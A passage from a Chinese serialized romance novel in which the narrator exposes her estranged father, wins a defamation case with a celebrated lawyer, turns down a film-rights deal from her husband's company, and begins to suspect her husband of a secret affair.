苏仲平满眼祈求道:“但是你好歹顾念一下我们的血缘亲情,别赶尽杀绝,行吗?我知道你跟沈老夫人交情深厚,只要你开口,让她放我一马,她肯定会给你这个面子。”
就在这时,沈老夫人的声音从身后传来,掷地有声:“你**这条心吧!”
苏仲平震惊地回头望去,沈老夫人在几个学生的搀扶下向这边走来。
沈老夫人眸光精明,一字一句地说:“苏仲平,我身后这些人,你应该有印象吧?他们都参加过你和婉华的婚礼。你敢不敢当着我们的面说清楚,为什么你的太太从婉华变成了王若芳?”
苏仲平动了动嘴唇,低头回避着老夫人的目光,顾左右而言他:“老夫人,过去的事都已经过去了。我出身普通,不像沈家有权有势。我能达到如今的成就不容易,您不能这么毁了我。”
沈老夫人用拐杖狠狠点着地面,道:“过去的事过去了?我最得意的学生现在躺在病床上昏迷不醒,还要被你们全家用这么龌龊肮脏的字眼污蔑!你说,这些事,能过得去吗?”
苏仲平情绪突然如同失了控,气急败坏地说:“我有什么办法?唐婉华她就是个孤儿!无权无势,我跟她在一起,空有一身才华,却无处施展。我不想一辈子待在一个地级市,一生郁郁不得志!我要为科研事业做贡献,我要造福人类,这有错吗?”
这时,沈老夫人身
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后的一个阿姨忍不住开口了,“你别给自己脸上贴金了!与其说是造福人类,不如说你想飞黄腾达。既然如此,你干嘛还要招惹婉华?”
另一个叔叔也接话道:“当年,她为了你,放弃的是帝都大学的Offer。你自己没本事留校,她跟你去小城市,毫无怨言。而你,却为了自己的前途抛弃她。你苏仲平永远都不值得原谅!”
这些叔叔阿姨似乎都与我母亲有过深厚的同窗情谊。
他们看着苏仲平的目光充满了鄙夷和愤懑。
沈老夫人道:“苏仲平,以后,不要再来婉华这儿,你不配!滚!”
苏仲平斯文儒雅的嘴脸被众人戳穿,再也没脸继续待在这儿,低着头离开了。
我这才缓缓走到老夫人面前,感激地说:“谢谢老夫人,谢谢各位叔叔阿姨替我妈妈作证。你们的情谊,我记下了。”
“带我们去看看你妈妈吧!”
其中一个阿姨眼眶含泪,哽咽道:“二十年没见了。没想到再次见面,是这样的场景。”
就这样,我带着他们一起去了我妈妈的病房。
大家在一起回忆着跟我妈妈同窗时候的事情,说着说着,都潸然泪下。
整整一天,他们都舍不得离开。
傍晚时分,沈老夫人道:“我们一起去吃个饭吧!大家现在都在**发展,能聚在一起不容易。”
作为被帮助的对象,我自然也要加入这个饭局,亲自感谢他们。
本以为饭局定在某家酒店,可我没想到,沈老夫人是在沈家设宴的。
更令我惊讶的是,沈宴州也在。
沈老夫人重新扬起笑脸,道:“今天真是巧了,宴州难得在家。”
沈宴州的目光淡淡掠过我,微微颔首。
我拘束地冲他点点头。
很快,大家一个个入席。
我也不知道这个席位是不是有什么讲究,反正,我就好巧不巧地跟沈宴州安排在一起了。
餐桌上,这些叔叔阿姨都在关心他的婚事。
沈老夫人叹了口气,道:“提起这个我脑瓜仁儿都疼。宴州今年34了,丝毫不谈自己的婚事。你们都帮他注意着,有合适的人选一定要推荐给我。”
淡定从容的沈宴州英挺的脸上难得浮现出一丝尴尬,金丝边眼镜下的目光扫过身旁的我。
我心跳慢了一拍,下意识避开他的目光,吃自己的饭。
一顿晚餐终于结束。
沈老夫人本想让我留宿下来,可我说不放心我妈妈。
“也是,这风波还没有完全过去,你母亲现在还离不开人。”
说完,她对正准备上楼的沈宴州道:“你送一下昭昭回医院。”
沈宴州修长的腿停住,婉拒道:“家里司机呢?”
沈老夫人不满地说:“你没看今晚来了这么多人?家里司机都被派出去送他们去机场了。”
我哪敢让沈宴州给我当司机?
再说了,我都看出了人家的拒绝之意,便连忙道:“沈奶奶,我自己打车回去就好。”
“那怎么行?这么晚了,你这么水灵的女孩子,我怎能放心?”
沈老夫人说完,看着沈宴州道:“你去不去?”
沈宴州对老太太是真心孝顺。
二话不说已经抬腿往我这边走来,淡淡地对我说:“走吧!”
沈老夫人这才满意。
就这样,我跟在沈宴州身后,一起离开了沈家。
出门后,我道:“沈先生,您留步。我自己可以回去,没关系的。”
我态度格外诚恳。
沈宴州虽然心里不是很想送我,但表面依旧喜怒不形于色,走到车边帮我打开副驾驶的车门。
我再拒绝好像就显得矫情了。
所以,便钻进了他的车里。
银色宾利缓缓驶离沈家别墅。
路上,车里的气氛莫名的沉默而尴尬。
我看着路上的风景,就准备这么一路无言到底了。
谁知等红灯的时候,沈宴州幽幽地开口问:“跟亦寒怎么样了?”
“啊?”
我疑惑地转过头,正对上他漆黑深邃的凤眸。
第65章 立刻去民政局离婚
我忽然想起那日顾亦寒说我是他女朋友,下意识解释道:“我跟顾亦寒不是情侣关系,您误会了。”
沈宴州不可置否地轻轻扯了下唇角,没再说什么,红灯转绿后继续开车。
这是我们在这条漫长的路上,唯一一次对话。
直到将我送达医院,我终于松了口气。
毕竟,他气场太强大,我坐他身边都觉得压抑。
刚准备下车,他突然叫住我:“叶小姐。”
我回头,想起还没道谢,便道:“沈先生,谢谢您今天送我回来,麻烦您了。”
沈宴州没什么表情,拿出手机打开了微信二维码,对我道:“加一下。”
我一愣,这是什么操作?
还没来得及胡思乱想,只听男人用低沉温润的声音道:“奶奶让我帮你起诉污蔑你母亲的人,加个微信方便你给我提供证据。”
我恍然大悟,为我刚才的多虑感到羞耻。
顾不得发烫的脸颊,我赶紧拿出手机扫了他的二维码。
就这样,我加上了这个律师界‘活阎王’的微信。
下了车我才想起来,刚才因为太紧张,我好像忘记问他价格了。
沈宴州这样的咖位,价钱不能便宜吧?
就这样,我发了一条微信给他:“沈先生,您的律师费是多少呢?我想有个心理准备。”
他暂时没回我。
我到病房时,宋今若刚好给我打来电话。
那边的她义愤填膺道:“你看到苏雅欣那些脑残粉说什么了嘛?真不要脸!”
我一边跟她打电话,一边打开了微博。
随便一刷,就刷到了一边倒的评论。
苏雅欣父母做的事已经被新的**掩盖住了。
她的粉丝全都在抨击我:
“无论雅欣父母做过什么,雅欣都是不知情的啊!凭什么让雅欣受这份委屈?”
“叶昭昭就是个心机歹毒的女人!雅欣把她当亲姐姐,各种帮助她,她竟然要赶尽杀绝,把好好一个苏家搞得支离破碎!”
“叶昭昭这个**真是不得好死!再怎么说,她也是雅欣同父异母的姐姐。没想到,她一点姐妹情谊都不顾的,这种人怪不得成了孤儿,就剩下个快要死的妈了!她不配有亲情!”
“……”
其他骂我的评论我都**以为常了,反正苏雅欣那些脑残粉本身就是不辩是非的。
但那句“姐妹情谊”和“同父异母”,是真恶心到我了。
也是该到我把我跟苏仲平的亲子鉴定亮出来的时候。
我将鉴定报告发在了网上,配文:“鉴定全程都有医院的监控,我没有同父异母的姐妹,麻烦别来蹭!”
但我关闭了评论,我都能想象得到苏雅欣的水军评论不了我,急得抓耳挠腮的样子。
苏仲平大晚上给我打来了电话,被我挂断了。
他一定是极其震惊,这份亲子鉴定结果并非他所想。
在我发了这个鉴定报告之后,除了苏雅欣的脑残粉在继续维护她、心疼她,大多数的吃瓜群众也算是看明白了。
苏家贼喊捉贼,苏母仗着自己家的背景破坏别人家庭,登堂**,还反咬人一口。
苏父当代陈世美,利用妻子上位,还帮没能力的儿子水学位,试图破坏学术圈的规则。
苏雅欣虽说看起来无辜,可第二天,帝都官方账号竟然也评论起了这件事。
官方直指近日苏姓流量女星及其家人,占用公共资源,大肆利用公众同情心颠倒黑白。幸好真相虽迟但到,希望其他艺人引以为戒。
此消息一出,全网哗然。
这意味着,苏雅欣的星途要在今天,拦路腰斩了。
当即,许多大牌纷纷表明立场,接触跟劣迹艺人的合作。
之前苏雅欣电影的官方剧照也已经被删除。
纵使苏雅欣的粉丝群体再庞大,但也干不过官方的态度。
我的生活也终于归于平静。
而那天我问沈宴州的律师费,他在今天才给我回复:“律师费就免了,我答应过奶奶。有事我会让助理联系你。”
这样的回复,连让我推辞的机会都没有,只能回他:那谢谢您,也谢谢沈奶奶。
他没再回。
不过,后来的一系列流程和取证,都是他的助理高朗跟我联系的。
“叶小姐,如果您有空,可以来我们君度律所签一下授权委托书。”
我跟高朗约好了时间,去了君度律所。
沈宴州的助理也有单独的办公室,我去了之后,并没有见到他。
高朗对我挺客气的,还跟我解释:“老板最近很忙,就没办法亲自接待您了,您见谅。”
我赶紧回道:“没关系,本来这个案件,我就觉得有点大材小用了,不该麻烦他的。”
高朗笑呵呵地道:“这个案子虽然挂着沈律的名字,但他应该只会在开庭的时候出面一下。平时的各种对接和取证,都是他手下的律师和助理来做。所以,你不用觉得亏欠他什么。”
我尴尬得不知道要怎么接话了。
也明白了沈宴州在我这儿并没有搞什么特殊化。
估计人家根本不想接我这种小案子,无非是人很孝顺,想让沈老夫人满意罢了。
我跟高朗将整个案件梳理完之后,他将我送到电梯口。
“一会儿沈律还有个会议,我要先上去了。叶小姐,那您慢走。”
“好,你忙。”
我冲他笑笑,进了电梯。
然而,电梯刚到一楼,门一开,顾时序和苏雅欣就这么面对面的出现在我眼前。
其实在刚才开门的瞬间,我就听见了苏雅欣说的话:“时序哥,沈律师会帮妈妈吗?毕竟,叶小姐现在把沈老夫人拿捏住了。”
我不禁暗嘲,顾时序还真是对爱人不离不弃啊。
苏家都到了这一步,明摆着干的都是些肮脏龌龊事,他居然还陪着苏雅欣找律师,准备给王若芳辩护。
只是,他们没想到,我也出现在了客户非富即贵的君度律所。
苏雅欣美眸闪过一抹惊讶。
我直接将他们当做空气,面无表情地掠过他们。
可经过顾时序身边时,他突然扣住了我的手腕。
我被迫停住脚步,坦然地迎上他的目光。
顾时序沉声问:“你来这里做什么?”
“跟你们一样,找律师。”
我微微笑了笑,道:“你们似乎晚了一步。因为就在刚才,我已经跟君度律所签过委托合同了。”
苏雅欣震惊地看着我,差点没站稳。
顾时序顺势揽住了她的腰,语气里透着失望,“叶昭昭,你非要这样赶尽杀绝吗?从始至终,雅欣都没有害过你。”
我忍着内心的愤怒和悲哀,冷冷道:“前些日子,他们苏家人对我赶尽杀绝的时候,你在哪里?”
顾时序脸色微变,终究还是因为理亏,没有继续要求我放过苏家。
可就在这时,苏雅欣突然说道:“叶小姐,看在你母亲的救命设备都是我父亲设计的,能不能高抬贵手?无论怎么说,我父亲对她也有救命之恩啊!”
她说着,还总是有意无意地看顾时序。
似乎是在给顾时序提醒,让她用我母亲的设备来威胁我,让我妥协。
以前,顾时序也不是没这么做过。
可顾时序却迟迟没开口。
苏雅欣美眸含泪,祈求地对顾时序道:“时序哥,你帮我跟叶小姐说说,好不好?”
她自己要维持温柔大度的人设,倒是让顾时序用这样的手段对我。
我毫不留情地戳穿她,“你准备让顾时序跟我说什么?让他跟我说,如果我不放你母亲,就停掉我母亲的设备,看着我妈**?”
苏雅欣脸色一阵铁青,却不敢承认。
一旁的顾时序道:“叶昭昭,收起你这些小女人的想法。雅欣不是这样的人,她一直都在维护你。相比你来说,顾太太这个位置,她比你适合多了!”
苏雅欣没想到自己明里暗里一直暗示,顾时序却没有用我妈威胁我。
目的没达成,她眸中闪过一抹不甘。
而我轻轻松了口气,幸好顾时序还算有点良知。
我道:“顾总,你想让谁当顾太太都无所谓。等你决定了,麻烦告诉我一声,我立刻跟你去民政局办离婚。一刻都不耽误!”
在苏雅欣愤恨的目光下,我扬长而去,再不给她一丝反击的机会。
回到家,我洗了澡,卸去满身的疲惫。
这时,电脑上的QQ响了起来。
我打开之后,小说编辑给我发了信息:“未央大大,告诉你一个好消息,你的小说被一个大公司看中,愿意投资五千万改编成电视剧。”
我惊讶极了。
完全没想到我一时兴起写的小说,现在不仅能给我带来月入
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十万的稿费,还能被改编成剧本。
虽然因为顾时序和苏雅欣,我的工作再次没了,但这份副业让我一天比一天有成就感。
我让编辑先将改编协议发来,我想让秦律师帮我看看。
然而,她发来之后,我看到甲方竟然是:顾氏集团。
难道,顾时序知道这本小说是我写的了?
我虽然坦坦荡荡,但还是不想被他知道。
我给编辑回过去:“听说顾氏集团是海城有名的企业,怎么会看上我的小说呢?”
编辑回:“顾氏总裁跟大明星苏雅欣的关系,你知道吧?听说,是苏雅欣的团队看中了你的小说。所以,顾氏集团作为苏雅欣的后盾,愿意出资购买版权。”
呵!
搞了半天,跟我没关系啊!
只是凑巧,我的小说目前流量大,在各大网站都转载了,所以被苏雅欣的团队发现,觉得有可能让她再度翻红。
我没有表现出自己的态度,而是问:“我的身份信息,对方知道吗?”
“这个您可以放心,就连我们编辑都不知道您的身份信息,只有公司高层才知道。我们不会泄露任何作者的**,除非有您的授权。”
我淡淡松了口气。
这就好。
这样,才好玩儿!
我没有立刻拒绝,而是问编辑:“能不能让她的工作室直接加我QQ?否则,我很难相信这么大一个明星,愿意演我的小说。”
“我请示一下领导,应该是可以的。”
编辑没多久,就给了我回复,说已经将我的QQ号给了苏雅欣的工作室,她的经纪人到时候会与我对接。
……
翌日,我的QQ果然收到了一个好友申请,是苏雅欣的经纪人。
通过之后,我与编辑确认了她的身份,这才开始谈。
对方:“未央大大你好,恭喜您哦!您的小说被雅欣看上了呢!顾氏投资改编之后,雅欣愿意出演您小说里的女主角!希望我们合作愉快!”
一副恩赐般的语气,仿佛苏雅欣出演我的小说,是我的殊荣。
最后一句话,更仿佛拿准了我会跟他们合作。
更恬不知耻的是,苏雅欣一个小三,居然想出演我小说里被丈夫背叛、被小三挑衅的女主。
我回:“可最近,苏小姐**缠身,听说她母亲是小三?这样的人出演我小说里的女主,不太合适吧?”
很久之后,对方才回应:“那都是网上乱说的,小三泼我们雅欣的脏水呢。这也是我们雅欣愿意出演您这部小说的原因,想通过这部戏,扭转公众对她的误解。”
“那我考虑一下吧。”
我虽然绝对不会同意,但就这么吊着他们,似乎也蛮有意思的。
对方似乎很想立刻买下我的版权,追问道:“那您这边需要考虑到什么时候呢?我这边好安排雅欣的通告。”
我反问:“苏雅欣现在凉成这样,还有通告?等着吧!我想好了自然会告诉你们的!”
想想以前苏雅欣的咖位,遇到这样的嘲讽,估计她的团队早都把我拉黑了。
可现在,我把话说成这样,他们竟然还回了我一个“OK”的手势。
整整两天,我都没有再理会他们。
那边很显然急了。
但网站那边没有我的允许不敢给他们我的联系方式,所以,他们只能通过QQ语音联系我。
我挂掉了他们的语音电话,整个过程十分高冷。
没想到接下来,他们发来了语音信息。
我点开之后,又听见了那个令我生理性反胃的夹子音。
“未央大大,您好。我是雅欣,是你这部小说的忠实粉丝!”
苏雅欣倒是个能屈能伸的性格,上来就跟我套近乎。
为了事业再度翻红,她确实是蛮拼的。
我就是有点疑惑,我小说虽然写的不是跟我自己的生活一模一样,但许多人设跟我自己、顾时序和她都很贴合。
她既然看了我的小说,她是一点都没觉察到,自己跟里面的小三重复度几乎百分之百吗?
“未央大大,还在吗?”
苏雅欣又发来了信息:“您的小说有流量,我有庞大的粉丝基础。如果我出演您小说里的女主角,这是双赢的事。”
我嘴角勾着讽刺的笑,回她:“苏小姐必须出演女主角吗?我的小说还会不会有更适合您的角色?"
第66章 顾时序竟藏着惊天秘密
苏雅欣立刻给我回:“未央大大如果看到最近的新闻应该就会知道,我和您小说里女主的形象和境遇非常相似。拥有同样被小三的遭遇,所以女一号是最适合我的角色。如果由我出演,一定可以诠释好您这本书。”
我再次被恶心的孕吐都出来了。
苏雅欣这种人一句真话都没有,一直活在自己编造的世界里。
会不会骗着骗着,把她自己也骗入其中,出不来了?
我跑到洗手间干呕了一会儿,重新坐回书桌前,告诉她我还要考虑考虑。
之所以不把话说死,是因为就这么钓着她,也挺有意思的。
跟逗猫逗狗,没什么区别。
苏雅欣看得出很着急,问我:“未央大大,您是哪里人?我们是不是可以见个面呢?我相信见面之后,你会打消所有疑虑,相信我可以演好您书里的角色。”
我哭笑不得。
真不明白苏雅欣这份自信究竟是谁给的?
“抱歉,苏小姐,我这人不喜欢出门。有什么事,就在QQ上谈吧。”
我拒绝了她。
以我对她的了解,估计她在背后一定把我编排了很久,或许会说我给脸不要脸。
后来,我编辑也给我发来信息,问:“未央大大,你跟苏雅欣那边谈得怎么样了?同意改编吗?”
我道:“我同意改编,但是我有两个要求:第一,我不跟顾氏集团合作;第二,就算我的小说被改编成剧本,我也要拥有对角色的一票否决权。”
编辑为难地说:“这个……不是我能决定的,我必须请示一下领导。但据我所知,我们网站之前并没有这样的先例。”
“没关系,我不着急。”
我本来就把这个当做了意外的惊喜,可以就可以,就算不能改编,我也不可能让一个小三去演我书里的女主角。
这实在是太讽刺了!
不过,或许是因为我这本书流量真的很好,他们急着改编影视赚钱。
所以第二天,编辑就给了我回音。
“未央大大,领导说您的要求他同意。但是,目前顾氏集团还是想出价买您这本书的版权,他们愿意点天灯,不管其他公司出什么价格,他们都愿意以最高价买下这本书的影视权。这样,您同意吗?”
我不禁冷嘲。
顾时序为了让苏雅欣再度翻红,真是不遗余力。
这哪里还像曾经那个精明算计的企业家?
不过,面对这样的诱惑,我只回了三个字:“不同意。”
编辑道:“没关系,目前不止顾氏一家公司看上了您这本小说。那其他公司的价格我们对比好之后,再联系您。”
“好。”
我回了信息,心里总觉得闷闷的。
没想到,就算我隐姓埋名写小说,都逃不开顾时序一次次扎我的心。
……
几天过去,网站和我经过了多方筛选,选择了一家影视公司,将我小说的版权卖给了他们。
为了防止顾氏集团插手,我特意将合同发给了秦欢律师看了下。
确定没有任何问题,我才签约。
签约后,网站说有二百万的版权费会跟下个月的稿费一起打进我的银行卡。
我如释重负地笑了笑。
原来,除了当记者,除了当顾时序的太太,我能做的事还有很多。
与此同时,我还接到了沈宴州律所的电话。
并非他本人联系我,而是助理联系的。
高朗道:“您起诉王若芳污蔑**的官司明天上午十点开庭。到时候,我们沈老夫人也会过去。”
沈老夫人对我的关心,总让我有种无以为报的感觉。
……
翌日,我到达海城人民**时,刚下车就看见了迎面而来的顾时序、苏雅欣和王若芳。
几天不见,苏雅欣脸色憔悴,哪里还有之前光鲜明艳的模样?
顾时序完全是一副准女婿的样子,坚定地站在苏雅欣身边,低头不知在她耳边说着什么。
苏雅欣一边点头,一边凄楚地望着他,好像她一个人承担了所有的不公平和委屈。
站在女儿身边的王若芳死死盯着我,恨不得将我挫骨扬灰似的。
就在这时,又来了一辆车。
我认出了这是我婆婆的车。
很快,司机打开车门,我婆婆带着朵朵从车上走了下来。
“妈妈,外婆!”
朵朵一边叫,一边朝她们跑过去。
苏雅欣双眼通红地抱住女儿,委屈到极致的样子。
王若芳痛哭道:“朵朵,你也知道外婆被奸人陷害,来看外婆了吗?要是外婆以后进了监狱,你就再也看不到外婆了。”
顾时序眉头紧紧蹙起来,问他母亲:“您怎么把朵朵给带来了?”
姜淑慧冷哼了声,望向我:“当然是让小孩子记住,是谁害得她外婆家支离破碎!让孩子认清楚仇人,以后远离仇人,也没什么不好的。”
朵朵在车上应该已经被姜淑慧说教一番了。
此时,小丫头的眼神比平日里任何一次都要愤恨,瞪着我道:“你害我妈妈,害我外婆,你以后就是我的第一号仇人!我会为我妈妈和外婆报仇的!”
虽然我明知小孩子都是大人教的,孩子的话不能当真。
可不知道为什么,朵朵的眼神让我的心莫名发沉发闷。
现在,就连顾时序和苏雅欣都影响不到我什么了,可这孩子的一言一行,为什么会让我的心这么乱?
我来不及细想,顾时序就发话了,“妈,您以后别跟朵朵说这些乱七八糟的。还有,这里不适合她,带她回去。”
顾时序的语气虽淡,却不容置疑。
一旁的孙杰眼疾手快,把小丫头抱回了车上。
苏雅欣和王若芳暗暗对视了一眼,多少有点不甘心。
而顾时序的目光此刻却落在我身上,黑沉的眸子里透着我读不懂的复杂。
我懒得再看他们一眼,径直往**里面走去。
沈老夫人早已经到了,坐在观看席。
见我过来,她亲切地将我拉到身边,很自信的道:“今天宴州亲自来替你打官司,陷害你母亲的人不会好过的。”
我顺着老夫人的目光望去,今天的沈宴州身穿剪裁利落的黑色西装,领口系着一条银色领带,流畅英挺的面容透着一抹肃杀和凌厉。
沈老夫人笑眯眯地说:“去吧!有宴州在,什么都不用怕。”就这样,我缓缓走过去,坐在了原告席,沈宴州的身边。
顾时序则带着苏雅欣和王若芳坐在了我们对面。
我从没想过,我和顾时序第一次对簿公堂竟不是离婚,而是因为小三的家事。
依旧是顾氏的御用律师为王若芳辩护。
只不过,那个律师在看到我们这边的律师是沈宴州的时候,脸色明显不似开始那般自信了。
开庭后,我第一次见识到这个律师界活阎王的风采。
他字句精准地剖开了对方律师的逻辑漏洞,明明是儒雅斯文的语气,却带着杀伐果断的气势。
对方节节败下阵来。
最终,法官敲下法槌,宣告我们这边胜诉。
我下意识地用余光望向身旁的沈宴州,他嘴角弧度未变,只是镜片下的眼角露出了一抹满意。
王若芳被判了三个月拘留,立即执行。
她被带走的时候,苏雅欣声泪俱下,像是想跟王若芳一起去了似的。
顾时序就这么将她搂在怀里,安慰道:“冷静点。我会想办法,相信我,嗯?”
耐心又温柔地轻哄,仿佛从我回忆中冒出了头。
我甚至忘了上一次顾时序这般跟我说话,是在什么时候了?
开庭结束后,沈老夫人本来说让我去沈家吃饭,让沈宴州也回去。
可沈宴州借口有事推辞了。
沈老夫人道:“昭昭,不然这样吧,你陪我去寺庙还愿,好不好?前几天,我特意为你母亲去寺庙祈福。现在,风波过去,说明菩萨显灵了。"
"好"。
我微微一笑,没有拒绝。
现在的我,不需要去上班,只要维持每天小说的更新就行了,时间相对宽裕。
就这样,我跟沈老夫人上了西岩寺。
我们先去给菩萨上香还了愿,然后沈老夫人便说要去找大师打坐一会儿。
她对我道:“你们年轻人恐怕不喜欢这么枯燥的东西,这寺庙修建
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得很好,风景不错,你可以四处转一转。”
“嗯。"
我见她进了大师的房间,我便漫无目的地在寺庙里逛着。
可我没想到,寺庙里的小和尚竟然也很八卦。
八卦的内容竟还跟顾时序有关。
今日的开庭虽然是瞒着媒体的,但还是被很多媒体捕捉到了风声,开庭的结果也泄露出去了。
顾时序和苏雅欣就这么又上了热搜。
寺庙长廊里,两个十来岁的小和尚正凑在一起嘀咕。
和尚甲挠了挠头:“这顾总,不就是常来见师父的那位吗?他不是心里有个惦记的女人吗?”
和尚乙点头:“可不是。为了那个女人,他发愿要吃斋念佛整整一千八百九十九天,说这样才能让她的病彻底好起来。我原以为,那才是他放在心尖上的人。”
“师兄,”和尚甲皱起眉,“情爱到底是什么?我以为该是一心一意的。可顾总为了那女人,又是潜心修佛,又是砸重金在国外建精神病院,每个月还特地飞过去看她。既然爱得这么深,怎么还会跟苏雅欣扯上关系?”
和尚乙叹口气:“什么情啊爱的,都是凡尘俗物。你看顾总这般厉害的人物,不也照样困在里头,抽离不出吗?”
"……"
我躲在长廊拐角,听得浑身冰凉,脊背阵阵发寒。
顾时序除了苏雅欣,竟还有别的女人?
小和尚说,他修佛是为了那个女人。
原来,当初他说要修佛,根本不是为了给我们的孩子超度。
我们那个刚出生就失去生命的孩子,在他心中,竟然这样一文不值。
我指尖陷进掌心,拼命压着内心的震撼和悲哀。
纵然对顾时序早已没了半分期待,可我总得对自己这二十年的光阴有个交代。
有些事,必须弄清楚。
否则,就算离了婚,我这辈子都像个被蒙在鼓里的傻子,被他**于股掌。
……
中午陪沈老夫人在庙里吃完斋饭,返程的路上,我一直心不在焉,满脑子都是小和尚的对话。
忽然想起他们提到的“精神病医院”,又记起那次在精神心理科撞见顾时序的事。
这么说来,他去那里不是为了自己看病,而是为了那个女人?
眼前像被乌云层层笼罩,我迫切的想弄清楚真相。
后来我托宋今若找了家**社,让他们跟踪顾时序,直到月底。
小和尚说他每个月都会飞国外看那个女人,这个月风波不断,他一直陪着苏雅欣,想必没机会去。
如今风波渐平,离月底只剩几天,他多半会选这时候动身。
“若是有机会见到那个女人,麻烦取一点她的毛发或指甲样本。酬劳加倍。”
朵朵若不是苏雅欣的女儿,会不会是那个女人的?无论答案是什么,这证据对我的离婚官司,总会有用。
……
第二天,侦探刚接手跟踪,傍晚我就接到了顾时序的电话。
我心头一紧,还以为他发现了端倪。
接起电话,男人低沉的声音传来:“下来,我在你家楼下。”
我皱眉:“有事电话里说。”
他道:“今天是你父母的结婚纪念日,回去吃饭。你要想在今天闹,我也没意见。”
我猛地想起,今天是叶爸叶妈结婚三十周年,这么大的日子,竟被我忘得一干二净。
为了不让父母扫兴,我还是收拾一下,出门了。
上了车,我径自系好安全带,不理他。
他也沉默着,平稳地发动了车子。
半路,他忽然幽幽开口:“为了对付雅欣,你不惜利用沈老太太打压苏家。叶昭昭,你这种下作的手段,只会让我更反感。”
我攥紧手指,看着他凉薄无温的侧脸,只觉得可笑。
他背着苏雅欣藏着另一个女人,骗了我这么多年,如今反倒站在道德高地上指责我?
我轻笑一声:“你反感,与我何干?”
顾时序脸色沉了沉,似乎不信我真的已经不在乎他的看法。
他握着方向盘的手青筋微显,冷冷道:“再这样下去,我不保证你还能坐稳顾太太的位置。”
第67章 今晚我们再要个孩子!(真相揭露!)
到了这一步,他竟还觉得我所做的一切,是为了跟苏雅欣争抢“顾太太”的名头?
“随你怎么想。”我冲他笑了笑,“你什么时候说去办离婚,我随时奉陪,一秒都不耽误。”
顾时序冷峻的侧脸绷得很紧,却什么都没说。
……
半小时后,我们到了叶家。
叶家生意近来不景气,早已不办宴会,哪怕是三十年结婚纪念日,也只打算一家人吃顿便饭。
刚到门口,我才猛然想起忘了给父母买礼物。
这种日子空手上门,总不太好。
正懊恼着,就见顾时序下了车,打开后备箱,拎出了早已备好的礼物。
我愣了愣,没想到他竟提前准备好了。
不得不说,在面子工程上,顾时序做的是要比我周到。
甭管我们私下怎么吵怎么闹,只要明面上没有彻底撕破脸,基本的礼貌,他都会维持到。
他送礼也是投其所好。
送给叶爸爸的是一副古董围棋,送给叶夫人的是一个顶奢品牌的限量包。
父母笑得合不拢嘴,叶爸爸当即让顾时序过去陪他下棋。
而叶夫人将我带到客厅,小声道:“你跟时序和好了吧?就连沈老夫人都出来替你撑腰了,王若芳颠倒黑白也被揭穿了。时序应该对你很愧疚吧?”
我不想在这个日子让父母扫兴,就敷衍着‘嗯’了声。
很快,饭菜准备好了,我们也坐在了餐桌上。
四个人,着实有点冷清。
我问叶夫人:“妈,我哥呢?今天是您和爸的大日子,我哥怎么还不回来?”
叶夫人脸上略显失落,叹了口气,道:“你哥最近也不知道在忙些什么,好几天不回家了。今天他打电话说晚上不回来吃饭了,我听着他心情不太好的样子。”
我不由得想起最近苏雅欣发生的事情。
我哥的心情貌似是随着苏雅欣的心情变幻的。
尽管我觉得我哥缺席这样的日子不对,可他之前说过我只是叶家的养女。
我的确没资格对他评头论足。
所以,我将不满咽了下去。
顾时序开口道:“我抽空联系一下景辰,问问他最近的情况。”
叶父点了点头,道:“你与景辰一向交好,他有些心事不跟我们说,或许会跟你说。有你在,我们放心许多。”
顾时序应了声,举起酒杯,道:“爸妈,祝你们结婚纪念日快乐。”
我也连忙将酒杯举了起来,一起祝福父母。
放下酒杯,叶夫人眼眶微红,道:“我和昭昭他爸走到今日不容易。其实啊,每对夫妻能白头到老都是一种缘分。时序,你能不能答应妈,好好对昭昭,别让外面那些女人欺负了她。”
顾时序眉宇间略有不悦,似乎不太喜欢叶夫人这么说苏雅欣。
可他终究没有在这样的日子驳了叶夫人的面子,道:“我知道。”
我想起当年他来叶家跟我求婚的时候,叶夫人也是这般语重心长的让他‘好好对我’。
那时候的他,每个字都掷地有声,发自内心的诚恳。
可现在,他的语气是那样敷衍,差点连装都不想装了。
叶爸爸是男人,没有我们女人这般敏感,甚至没有感受到顾时序的不悦。
他继续说着敏感的话题:“时序,你和昭昭失去第一个孩子已经这么久了,是不是该再要一个了?”
我不禁握紧了筷子,正在想怎么给叶爸爸解围,便听顾时序道:“爸说得对。”
他此话一出,叶夫人和叶爸爸都露出了欣慰的表情。
只有我表情极其不自然,根本无法配合他们笑出来。
我实在不懂,顾时序跟我都到了这种地步,他是怎么面不改色心不跳附和我爸的。
晚餐结束后,我哥才回来。
叶夫人遗憾地说:“你要是早点回来,还能跟你妹妹和妹夫说说话。现在我们都吃完饭了,你还回来做什么?”
我哥一句话都没说,脸垮着,像是谁欠了他几百万似的。以前总喜欢跟顾时序混在一起的他,如今冷冷扫了眼我们,连招呼都没打,就径直向楼上走去。
叶夫人格外尴尬的解释:“时序,你别介意啊,景辰不是针对你。估计是公司最近事情有点多,他……”
顾时序道:“或许他在为昭昭鸣不平吧。毕竟,以前他最疼爱的就是昭昭。”
我自嘲,现在我哥心里最疼爱的人,怕是早已经变成了苏雅欣。
就在这时,女佣端着两碗药走了过来。
我一看那浓浓的中药汤子,就反胃。
只听叶夫人道:“我差点忘了,我特意让佣人给你们熬的。上次那几副药你们喝完了吗?我又给你们配了几副,对身体好的。你们先喝喝试试。”
叶夫人挤眉弄眼的,我立刻就反应过来那是什么药了。
我当即红了脸,道:“妈,我最近肠胃不好,总想吐。这中药,我是真喝不下去。要不,等我好点了再喝?”
叶夫人不依不饶地说:“昭昭,这是妈妈预约了好久才约到的中医,喝了他的方子,好多人都顺利怀上了。妈妈求你了,你就算可怜可怜妈妈的一片苦心。”
她一边说着,一边将药往我这边凑。
我闻到那浓重的味道,反胃感上来,赶忙跑到了洗手间。
我出来时,对叶夫人摇摇手,“妈,我真喝不下去这个。”
哪怕我不反胃,我也不能喝。
毕竟,我肚子里有孩子了,不能随便吃药。
叶夫人失望极了。
我不喝,他们也不敢要求顾时序喝。
可我没想到,顾时序竟然主动拿起了药碗,一口气将碗里的药喝完了。
叶夫人这才作罢。
让佣人把剩下好几副药给我们装在袋子里,让我们带了回去。
离开时,我和顾时序虽然没有多亲密,但好歹也走在一起。
但出了门,我就和他越走越远,自顾自上了车。
原以为他会把我送回家。
可我看着这条路,越发觉得不对劲。
这明明是回顾氏庄园的路。
我立刻看向身旁的男人,“顾时序,你要是不方便送我,就在这里停下,我自己打车回去。”
司机从后视镜里看了顾时序一眼,似乎在征求他的意见。
顾时序看都没有看我一眼,道:“继续开。”
就这样,司机继续往回顾氏庄园的路上开。
我急了,道:“顾时序,你到底想干什么?”
